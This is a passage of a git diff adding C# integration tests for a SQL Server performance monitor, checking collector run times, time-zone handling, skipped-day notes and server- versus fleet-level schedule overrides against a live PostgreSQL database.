+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)serverId ?? DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer });
+        command.Parameters.AddWithValue(collector);
+        command.Parameters.Add(new NpgsqlParameter { Value = (short)minute, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Smallint });
+        await command.ExecuteNonQueryAsync(ct);
+
+        if (!enabled)
+        {
+            await using var schedule = new NpgsqlCommand(
+                "INSERT INTO config.config_collector_schedules (server_id, collector_name, enabled) VALUES ($1, $2, FALSE)", connection);
+            schedule.Parameters.Add(new NpgsqlParameter { Value = (object?)serverId ?? DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer });
+            schedule.Parameters.AddWithValue(collector);
+            await schedule.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    private static Task SetFleetRunTimeAsync(NpgsqlConnection connection, string collector, int minute, CancellationToken ct) =>
+        SetRunTimeAsync(connection, null, collector, minute, ct);
+
+    /// <summary>The rows of <c>get_collection_health</c> by collector. Full detail by default, because a healthy
+    /// collector otherwise compacts to seven fields.</summary>
+    private static async Task<Dictionary<string, JsonElement>> ReadRowsAsync(NpgsqlDataSource postgres, string server, CancellationToken ct, bool fullDetail = true)
+    {
+        var json = await DarlingMcpDataTools.GetCollectionHealth(postgres, server, full_detail: fullDetail, cancellationToken: ct);
+        using var doc = JsonDocument.Parse(json);
+        Assert.True(doc.RootElement.TryGetProperty("collectors", out var collectors), json.Length > 400 ? json[..400] : json);
+        return collectors.EnumerateArray().ToDictionary(r => r.GetProperty("collector").GetString()!, r => r.Clone());
+    }
+
+    private static DateTime ParseUtc(JsonElement value)
+    {
+        var parsed = DateTime.Parse(value.GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
+        Assert.Equal(DateTimeKind.Utc, parsed.Kind);
+        return parsed;
+    }
+
+    [Fact]
+    public async Task ACollectorWithARunTime_ShowsRunAtAndNextRunUtc_AndACollectorWithoutOneShowsNullForBoth()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_001;
+            const string server = "runtime-health-a";
+            await RegisterServerAsync(connection, serverId, server, ct);
+
+            /* Both ran a minute ago, so the daily collector's next slot is the one ahead of now. */
+            var now = DateTime.UtcNow;
+            var runAt = RunTimeHalfADayAway(now);
+            await LogRunAsync(connection, serverId, server, DailyCollector, now.AddMinutes(-1), ct);
+            await LogRunAsync(connection, serverId, server, MinuteCollector, now.AddMinutes(-1), ct);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var rows = await ReadRowsAsync(postgres, server, ct);
+
+            var daily = rows[DailyCollector];
+            Assert.Equal(CollectorRunTime.Format(runAt), daily.GetProperty("run_at").GetString());
+            var next = ParseUtc(daily.GetProperty("next_run_utc"));
+            Assert.True(next > now, $"the next run {next:o} must be ahead of {now:o}");
+            Assert.True(next <= now + CollectorRunTime.MaxStampAhead(1440), $"the next run {next:o} is more than a day and the spread away");
+
+            /* No clock for this server, so the run time reads as UTC: the run time plus its fixed spread. */
+            Assert.Equal(SlotTimeOfDayUtc(runAt, serverId), next.TimeOfDay);
+
+            /* Nothing was skipped: it ran a minute ago. */
+            Assert.Equal(JsonValueKind.Null, daily.GetProperty("run_time_note").ValueKind);
+
+            var minute = rows[MinuteCollector];
+            Assert.Equal(JsonValueKind.Null, minute.GetProperty("run_at").ValueKind);
+            Assert.Equal(JsonValueKind.Null, minute.GetProperty("next_run_utc").ValueKind);
+            Assert.Equal(JsonValueKind.Null, minute.GetProperty("run_time_note").ValueKind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ARunTimeIsOnTheServersClock_AndAServerWithNoClockReadsItAsUtc()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int plainId = 480_011;
+            const int offsetId = 480_012;
+            const string plain = "runtime-health-utc";
+            const string offset = "runtime-health-west";
+            await RegisterServerAsync(connection, plainId, plain, ct);
+            await RegisterServerAsync(connection, offsetId, offset, ct);
+
+            var now = DateTime.UtcNow;
+            var runAt = RunTimeHalfADayAway(now);
+            await LogRunAsync(connection, plainId, plain, DailyCollector, now.AddMinutes(-1), ct);
+            await LogRunAsync(connection, offsetId, offset, DailyCollector, now.AddMinutes(-1), ct);
+
+            /* Five hours behind UTC, a fixed offset: its run time is five hours later in UTC. */
+            await PlantOffsetAsync(connection, offsetId, offset, -300, ct);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var plainRow = (await ReadRowsAsync(postgres, plain, ct))[DailyCollector];
+            var offsetRow = (await ReadRowsAsync(postgres, offset, ct))[DailyCollector];
+
+            /* The run time is the same text on both: it is each server's own wall clock. */
+            Assert.Equal(CollectorRunTime.Format(runAt), plainRow.GetProperty("run_at").GetString());
+            Assert.Equal(CollectorRunTime.Format(runAt), offsetRow.GetProperty("run_at").GetString());
+            Assert.Equal(SlotTimeOfDayUtc(runAt, plainId), ParseUtc(plainRow.GetProperty("next_run_utc")).TimeOfDay);
+            Assert.Equal(SlotTimeOfDayUtc(runAt, offsetId, minutesBehindUtc: 300), ParseUtc(offsetRow.GetProperty("next_run_utc")).TimeOfDay);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task AServerRunTimeWinsOverTheFleetRunTime_MinusOneOnTheServerStopsIt_AndAnIntervalThatIsNotWholeDaysHasNone()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int ownId = 480_031;
+            const int noneId = 480_032;
+            const int fleetId = 480_033;
+            const string own = "runtime-health-own";
+            const string none = "runtime-health-none";
+            const string fleetOnly = "runtime-health-fleet";
+            var now = DateTime.UtcNow;
+            foreach (var (id, name) in new[] { (ownId, own), (noneId, none), (fleetId, fleetOnly) })
+            {
+                await RegisterServerAsync(connection, id, name, ct);
+                await LogRunAsync(connection, id, name, DailyCollector, now.AddMinutes(-1), ct);
+                await LogRunAsync(connection, id, name, MinuteCollector, now.AddMinutes(-1), ct);
+            }
+
+            /* The fleet runs the daily collector at 02:00. One server has its own 04:30, and one has -1, which means no
+               fixed time there and stops the fleet's 02:00 from applying. The fleet row also names the one-minute
+               collector, which a run time cannot apply to. */
+            await SetFleetRunTimeAsync(connection, DailyCollector, 120, ct);
+            await SetFleetRunTimeAsync(connection, MinuteCollector, 120, ct);
+            await SetRunTimeAsync(connection, ownId, DailyCollector, 270, ct);
+            await SetRunTimeAsync(connection, noneId, DailyCollector, -1, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var ownRows = await ReadRowsAsync(postgres, own, ct);
+            var noneRows = await ReadRowsAsync(postgres, none, ct);
+            var fleetRows = await ReadRowsAsync(postgres, fleetOnly, ct);
+
+            Assert.Equal("04:30", ownRows[DailyCollector].GetProperty("run_at").GetString());
+            Assert.Equal(JsonValueKind.String, ownRows[DailyCollector].GetProperty("next_run_utc").ValueKind);
+
+            Assert.Equal(JsonValueKind.Null, noneRows[DailyCollector].GetProperty("run_at").ValueKind);
+            Assert.Equal(JsonValueKind.Null, noneRows[DailyCollector].GetProperty("next_run_utc").ValueKind);
+
+            Assert.Equal("02:00", fleetRows[DailyCollector].GetProperty("run_at").GetString());
+
+            foreach (var rows in new[] { ownRows, noneRows, fleetRows })
+            {
+                Assert.Equal(JsonValueKind.Null, rows[MinuteCollector].GetProperty("run_at").ValueKind);
+                Assert.Equal(JsonValueKind.Null, rows[MinuteCollector].GetProperty("next_run_utc").ValueKind);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ADisabledCollectorWithARunTime_ShowsItsRunTimeAndNoNextRun()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_041;
+            const string server = "runtime-health-off";
+            await RegisterServerAsync(connection, serverId, server, ct);
+            await LogRunAsync(connection, serverId, server, DailyCollector, DateTime.UtcNow.AddMinutes(-1), ct);
+            await SetRunTimeAsync(connection, null, DailyCollector, 120, ct, enabled: false);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var row = (await ReadRowsAsync(postgres, server, ct))[DailyCollector];
+
+            Assert.Equal("02:00", row.GetProperty("run_at").GetString());
+            Assert.Equal(JsonValueKind.Null, row.GetProperty("next_run_utc").ValueKind);
+            Assert.Equal(JsonValueKind.Null, row.GetProperty("run_time_note").ValueKind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ACompactRowCarriesTheRunTimeOnlyWhenTheCollectorHasOne()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_051;
+            const string server = "runtime-health-compact";
+            await RegisterServerAsync(connection, serverId, server, ct);
+            var now = DateTime.UtcNow;
+            await LogRunAsync(connection, serverId, server, DailyCollector, now.AddMinutes(-1), ct);
+            await LogRunAsync(connection, serverId, server, MinuteCollector, now.AddMinutes(-1), ct);
+            var runAt = RunTimeHalfADayAway(now);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var rows = await ReadRowsAsync(postgres, server, ct, fullDetail: false);
+
+            /* Both are healthy with nothing to report, so both compact. A compact row stays small: it carries the run
+               time only for the collector that has one, and never the note, which a healthy row cannot need. */
+            var daily = rows[DailyCollector];
+            Assert.True(daily.GetProperty("compact").GetBoolean());
+            Assert.Equal(CollectorRunTime.Format(runAt), daily.GetProperty("run_at").GetString());
+            Assert.Equal(JsonValueKind.String, daily.GetProperty("next_run_utc").ValueKind);
+            Assert.False(daily.TryGetProperty("run_time_note", out _));
+
+            var minute = rows[MinuteCollector];
+            Assert.True(minute.GetProperty("compact").GetBoolean());
+            Assert.False(minute.TryGetProperty("run_at", out _));
+            Assert.False(minute.TryGetProperty("next_run_utc", out _));
+            Assert.False(minute.TryGetProperty("run_time_note", out _));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task APartialRowCarriesTheRunTimeOnlyWhenTheCollectorHasOne()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_061;
+            const string server = "runtime-health-partial";
+            await RegisterServerAsync(connection, serverId, server, ct);
+            var now = DateTime.UtcNow;
+
+            /* A success and then a failure for each collector: an error in the window fails the compact test, so both
+               take the partial shape. */
+            foreach (var collector in new[] { DailyCollector, MinuteCollector })
+            {
+                await LogRunAsync(connection, serverId, server, collector, now.AddMinutes(-2), ct);
+                await LogFailureAsync(connection, serverId, server, collector, now.AddMinutes(-1), ct);
+            }
+
+            var runAt = RunTimeHalfADayAway(now);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var rows = await ReadRowsAsync(postgres, server, ct, fullDetail: false);
+
+            /* Lite's partial row carries the run time only for a collector that has one, so a partial row stays as
+               small as the rest of its keys and the two apps give a caller the same shape. The note rides under the same
+               condition: a partial row for a collector with a run time carries it (null unless a day was skipped), and a
+               partial row for a collector with none has no run_time_note key at all. */
+            var daily = rows[DailyCollector];
+            Assert.True(daily.GetProperty("partial_detail").GetBoolean());
+            Assert.Equal(CollectorRunTime.Format(runAt), daily.GetProperty("run_at").GetString());
+            Assert.Equal(JsonValueKind.String, daily.GetProperty("next_run_utc").ValueKind);
+            Assert.Equal(JsonValueKind.Null, daily.GetProperty("run_time_note").ValueKind);
+
+            var minute = rows[MinuteCollector];
+            Assert.True(minute.GetProperty("partial_detail").GetBoolean());
+            Assert.False(minute.TryGetProperty("run_at", out _));
+            Assert.False(minute.TryGetProperty("next_run_utc", out _));
+            Assert.False(minute.TryGetProperty("run_time_note", out _));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task TheHealthBand_IsTheSameWithAndWithoutARunTime_AndTheRunTimeIsNotHeldByTheHealthMemo()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_021;
+            const string server = "runtime-health-band";
+            await RegisterServerAsync(connection, serverId, server, ct);
+
+            /* A daily collector that last ran 40 hours ago is past the 36-hour stale line. Skipping a day is a real
+               miss and the row says so; a run time does not excuse it. */
+            await LogRunAsync(connection, serverId, server, DailyCollector, DateTime.UtcNow.AddHours(-40), ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var before = (await ReadRowsAsync(postgres, server, ct))[DailyCollector];
+            Assert.Equal(JsonValueKind.Null, before.GetProperty("run_at").ValueKind);
+            Assert.Equal(CollectorHealthClassifier.Stale, before.GetProperty("status").GetString());
+
+            /* The health rows are memoized for the call that follows. The run time is read fresh, so an edit shows. */
+            var runAt = RunTimeHalfADayAway(DateTime.UtcNow);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+            var after = (await ReadRowsAsync(postgres, server, ct))[DailyCollector];
+
+            Assert.Equal(CollectorHealthClassifier.Stale, after.GetProperty("status").GetString());
+            Assert.Equal(CollectorRunTime.Format(runAt), after.GetProperty("run_at").GetString());
+            Assert.Equal(JsonValueKind.String, after.GetProperty("next_run_utc").ValueKind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ASkippedDay_CrossesTheStaleLineBeforeTheNextSlot_AndTheRowSaysSo()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_061;
+            const string server = "runtime-health-skipped";
+            await RegisterServerAsync(connection, serverId, server, ct);
+
+            /* The daily collector last ran 40 hours ago, so it missed a day and is past its 36-hour stale line, and its
+               next slot is half a day away. The second daily collector ran a minute ago: nothing was skipped there. */
+            var now = DateTime.UtcNow;
+            var runAt = RunTimeHalfADayAway(now);
+            await LogRunAsync(connection, serverId, server, DailyCollector, now.AddHours(-40), ct);
+            await LogRunAsync(connection, serverId, server, SecondDailyCollector, now.AddMinutes(-1), ct);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+            await SetFleetRunTimeAsync(connection, SecondDailyCollector, runAt, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var rows = await ReadRowsAsync(postgres, server, ct);
+
+            var skipped = rows[DailyCollector];
+            Assert.Equal(CollectorHealthClassifier.Stale, skipped.GetProperty("status").GetString());
+            var next = ParseUtc(skipped.GetProperty("next_run_utc"));
+            Assert.True(next > now, "the next slot is still ahead of the stale reading");
+            var note = skipped.GetProperty("run_time_note").GetString();
+            Assert.NotNull(note);
+            Assert.Contains("Skipped day", note, StringComparison.Ordinal);
+            Assert.Contains("36-hour stale line", note, StringComparison.Ordinal);
+            Assert.Contains(next.ToString("u", CultureInfo.InvariantCulture), note, StringComparison.Ordinal);
+            Assert.Contains("not replayed", note, StringComparison.Ordinal);
+
+            var onTime = rows[SecondDailyCollector];
+            Assert.Equal(CollectorHealthClassifier.Healthy, onTime.GetProperty("status").GetString());
+            Assert.Equal(JsonValueKind.Null, onTime.GetProperty("run_time_note").ValueKind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ACollectorDueNowInsideItsGrace_HasNoSkippedDayNote_EvenPastTheStaleLine()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int serverId = 480_071;
+            const string server = "runtime-health-due";
+            await RegisterServerAsync(connection, serverId, server, ct);
+
+            /* A run time whose slot for this server passed about ten minutes ago: now is inside the 60-minute grace, so
+               the collector is due now. It last ran 40 hours ago, but a run is a moment away, so there is no note. */
+            var now = DateTime.UtcNow;
+            var spreadMinutes = (int)CollectorRunTime.Spread(serverId).TotalMinutes;
+            var runAt = ((now.Hour * 60 + now.Minute - spreadMinutes - 10) % 1440 + 1440) % 1440;
+            await LogRunAsync(connection, serverId, server, DailyCollector, now.AddHours(-40), ct);
+            await SetFleetRunTimeAsync(connection, DailyCollector, runAt, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var row = (await ReadRowsAsync(postgres, server, ct))[DailyCollector];
+
+            Assert.Equal(CollectorHealthClassifier.Stale, row.GetProperty("status").GetString());
+            var next = ParseUtc(row.GetProperty("next_run_utc"));
+            Assert.True(Math.Abs((next - DateTime.UtcNow).TotalMinutes) < 2, $"due now: the next run {next:o} is the time of the read");
+            Assert.Equal(JsonValueKind.Null, row.GetProperty("run_time_note").ValueKind);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CollectionHealthScheduleOverridesLiveTests.cs b/Darling/Darling.Tests/CollectionHealthScheduleOverridesLiveTests.cs
new file mode 100644
index 0000000000..6c26da7eb0
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthScheduleOverridesLiveTests.cs
@@ -0,0 +1,207 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4999: the collection-health reads judge each collector against the interval it is scheduled at on its server, read
+/// from <c>config.config_collector_schedules</c>. The schedule read fails open to the shipped cadences (a collection
+/// health read must still answer when it cannot read the table), so every other test of the health reads would
+/// still pass if <c>DarlingDataReader.ScheduleOverridesSql</c> or <c>DarlingDataReader.AllScheduleOverridesSql</c> broke.
+/// This one seeds the rows and reads the health back, so a read that falls back shows up as the wrong band.
+///
+/// <para>Three five-minute collectors, each with a success six hours old: past the four hours a five-minute collector
+/// goes STALE at, well inside the 18 hours (one and a half intervals) a collector scheduled every 720 minutes gets.
+/// The first has a server row (720) AND a fleet row (5): the server row wins, so HEALTHY. The second has only a fleet
+/// row (720): HEALTHY. The third has no row: the shipped five minutes, so STALE. The same server is read through the
+/// MCP read and through the viewer's server tab and its fleet breakdown, and, in the second test, through the
+/// service's fleet roll-up, which reads every server's override rows in one statement.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class CollectionHealthScheduleOverridesLiveTests
+{
+    private const string ServerName = "darling-collection-health-schedule-overrides-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string ServerRowWins = "memory_clerks";
+    private const string FleetRowApplies = "memory_pressure_events";
+    private const string ShippedDefault = "session_summary_stats";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task EachCollectorIsJudgedAgainstTheServerRow_ThenTheFleetRow_ThenTheShippedDefault()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live collection-health schedule-override test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, ct);
+
+            /* The MCP per-server read. */
+            var mcp = await DarlingDataReader.GetCollectionHealthAsync(
+                postgres, ServerId, DarlingMcpTestData.Naive(DateTime.UtcNow.AddDays(-7)), ct);
+            AssertJudged("MCP", mcp.ToDictionary(r => r.CollectorName, r => (r.FrequencyMinutes, r.HealthStatus)));
+
+            /* The viewer's server tab, and the per-server breakdown the Overview cards and status bar count. */
+            await using var viewer = new ViewerDataService(cs!);
+            var tab = await viewer.GetCollectionHealthAsync(ServerId, ct);
+            AssertJudged("viewer server tab", tab.ToDictionary(r => r.CollectorName, r => (r.EffectiveFrequencyMinutes ?? 0, r.HealthStatus)));
+
+            var byServer = await viewer.GetFleetCollectionHealthByServerAsync(ct);
+            AssertJudged("viewer fleet breakdown", byServer[ServerId].ToDictionary(r => r.CollectorName, r => (r.EffectiveFrequencyMinutes ?? 0, r.HealthStatus)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// The service's fleet roll-up bands every server's collectors in one read, so it reads every override row
+    /// (<c>DarlingDataReader.AllScheduleOverridesSql</c>) and picks each server's out of them. Same seed as the test
+    /// above: the two collectors with a 720-minute row, the server's own and the fleet-wide one, are HEALTHY, and the
+    /// one on its shipped five minutes is STALE. A roll-up that read no overrides would band all three STALE and count
+    /// none healthy; one that dropped either level would count one.
+    /// </summary>
+    [Fact]
+    public async Task TheFleetRollUpBandsEachCollectorByTheIntervalItIsScheduledAt()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live collection-health schedule-override test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, ct);
+
+            var counts = await ReadFleetRollUpCountsAsync(postgres, ct);
+
+            Assert.Equal(3, counts.Total);
+            Assert.Equal(2, counts.Healthy);
+            Assert.Equal(0, counts.Failing);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The product's fleet roll-up read, through its own method (<c>ReadFailingCollectorCountsAsync</c> is private;
+    /// reached by reflection so the test takes no seam), for the one server this test seeds.</summary>
+    private static async Task<DarlingFleetReader.CollectorCounts> ReadFleetRollUpCountsAsync(NpgsqlDataSource postgres, CancellationToken ct)
+    {
+        var method = typeof(DarlingFleetReader).GetMethod("ReadFailingCollectorCountsAsync", BindingFlags.NonPublic | BindingFlags.Static)
+            ?? throw new InvalidOperationException("ReadFailingCollectorCountsAsync not found");
+        var counts = await (Task<Dictionary<int, DarlingFleetReader.CollectorCounts>>)method.Invoke(null, [postgres, DateTime.UtcNow, ct])!;
+        return counts[ServerId];
+    }
+
+    /// <summary>The server, its three collectors' runs and the two levels of schedule override both tests read.</summary>
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO config_monitored_servers (server_id, name, host, is_enabled) VALUES ($1, $2, $2, TRUE)
+ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ServerId, ServerName);
+
+        var now = DateTime.UtcNow;
+        foreach (var collector in new[] { ServerRowWins, FleetRowApplies, ShippedDefault })
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                await InsertSuccessAsync(connection, collector, now.AddHours(-6).AddMinutes(-5 * i), ct);
+            }
+        }
+
+        /* The server's own row beats the fleet's; the fleet's row alone applies; the third has neither. */
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled)
+VALUES ($1, $2, 720, NULL, TRUE)", ServerId, ServerRowWins);
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled)
+VALUES (NULL, $1, 5, NULL, TRUE)", ServerRowWins);
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled)
+VALUES (NULL, $1, 720, NULL, TRUE)", FleetRowApplies);
+
+        Assert.Equal(5, CollectorScheduleDefaults.All[ServerRowWins].FrequencyMinutes);
+        Assert.Equal(5, CollectorScheduleDefaults.All[FleetRowApplies].FrequencyMinutes);
+        Assert.Equal(5, CollectorScheduleDefaults.All[ShippedDefault].FrequencyMinutes);
+    }
+
+    private static void AssertJudged(string surface, Dictionary<string, (int FrequencyMinutes, string Status)> rows)
+    {
+        Assert.True(rows.TryGetValue(ServerRowWins, out var server), $"{surface}: {ServerRowWins} is missing");
+        Assert.Equal((720, CollectorHealthClassifier.Healthy), server);
+
+        Assert.True(rows.TryGetValue(FleetRowApplies, out var fleet), $"{surface}: {FleetRowApplies} is missing");
+        Assert.Equal((720, CollectorHealthClassifier.Healthy), fleet);
+
+        Assert.True(rows.TryGetValue(ShippedDefault, out var shipped), $"{surface}: {ShippedDefault} is missing");
+        Assert.Equal((5, CollectorHealthClassifier.Stale), shipped);
+    }
+
+    private static async Task InsertSuccessAsync(NpgsqlConnection connection, string collectorName, DateTime collectionTime, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collection_log (log_id, collection_time, server_id, server_name, collector_name, status, duration_ms, rows_collected, error_message)
+VALUES ($1,$2,$3,$4,$5,'SUCCESS',20,10,NULL)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(collectorName);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM collection_log WHERE server_id = {ServerId}; "
+            + $"DELETE FROM config_collector_schedules WHERE collector_name IN ('{ServerRowWins}', '{FleetRowApplies}', '{ShippedDefault}') AND (server_id IS NULL OR server_id = {ServerId}); "
+            + $"DELETE FROM config_monitored_servers WHERE server_id = {ServerId}; "
+            + $"DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
